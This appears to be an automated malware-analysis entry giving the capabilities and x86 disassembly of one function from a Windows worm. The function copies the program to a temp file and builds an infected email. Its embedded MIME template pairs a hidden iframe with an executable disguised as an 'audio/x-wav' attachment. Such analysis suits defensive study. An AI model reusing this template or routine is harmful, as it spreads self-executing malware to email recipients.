Function at 0x3737681c
Capabilities:
Copy file
Delete file
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
lea eax, [esp + 0x1c]
push edi
xor ebx, ebx
push eax
push ebx
push 0x37379e58
push 0x3737b518
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [esp + 0x20]
push ebx
push eax
push 0x3737c118
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebp, 0x80
lea eax, [esp + 0x20]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x20]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, str.NULL
lea edi, [esp + 0x18]
lea ecx, [esp + 0x18]
push 1
movsd dword es:[edi], dword [esi]
push ecx
push 0x804
push 0x66
push 0xa
push eax
mov dword [esp + 0x28], eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push ebx
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov esi, 0x3737c918
push esi
push ebx
push 0x37379e58
push 0x3737b518
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebp
push 2
push ebx
push ebx
push 0x40000000
push esi
call edi
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x373768e3
push esi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea eax, [esp + 0x20]
push eax
call esi
jmp 0x37376942
lea eax, [esp + 0x14]
push ebx
push eax
push str.MIME_Version:_1.0_r_nContent_Type:_multipart_related__r_n_ttype_multipart_alternative___r_n_tboundary__ABC123456j7890DEF___r_nX_Priority:_3_r_nX_MSMail_Priority:_Normal_r_nX_Unsent:_1_r_n_r_n___ABC123456j7890DEF__r_nContent_Type:_multipart_alternative__r_n_tboundary__ABC09876j54321DEF___r_n_r_n___ABC09876j54321DEF__r_nContent_Type:_text_html__r_n_tcharset_iso_8859_1__r_nContent_Transfer_Encoding:_quoted_printable_r_n_r_n_r_n_HTML__HEAD___HEAD__BODY_bgColor3Dffffff__r_n_iframe_src3Dcid:EA4DMGBP9p_height3D0_width3D0__r_n__iframe___BODY___HTML__r_n___ABC09876j54321DEF____r_n_r_n___ABC123456j7890DEF__r_nContent_Type:_audio_x_wav__r_n_tname_sample.exe__r_nContent_Transfer_Encoding:_base64_r_nContent_ID:__EA4DMGBP9p__r_n_r_n
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push str.MIME_Version:_1.0_r_nContent_Type:_multipart_related__r_n_ttype_multipart_alternative___r_n_tboundary__ABC123456j7890DEF___r_nX_Priority:_3_r_nX_MSMail_Priority:_Normal_r_nX_Unsent:_1_r_n_r_n___ABC123456j7890DEF__r_nContent_Type:_multipart_alternative__r_n_tboundary__ABC09876j54321DEF___r_n_r_n___ABC09876j54321DEF__r_nContent_Type:_text_html__r_n_tcharset_iso_8859_1__r_nContent_Transfer_Encoding:_quoted_printable_r_n_r_n_r_n_HTML__HEAD___HEAD__BODY_bgColor3Dffffff__r_n_iframe_src3Dcid:EA4DMGBP9p_height3D0_width3D0__r_n__iframe___BODY___HTML__r_n___ABC09876j54321DEF____r_n_r_n___ABC123456j7890DEF__r_nContent_Type:_audio_x_wav__r_n_tname_sample.exe__r_nContent_Transfer_Encoding:_base64_r_nContent_ID:__EA4DMGBP9p__r_n_r_n
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x20]
push esi
push eax
call fcn.3737527c
pop ecx
lea eax, [esp + 0x24]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push ebp
push 4
push ebx
push ebx
push 0x40000000
push esi
call edi
mov edi, eax
cmp edi, 0xffffffff
jne 0x37376946
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x3737697a
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x14]
push ebx
mov esi, str._r_n_r_n___ABC123456j7890DEF__r_n_r_n
push eax
push esi
mov dword [esp + 0x20], ebx
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x410
ret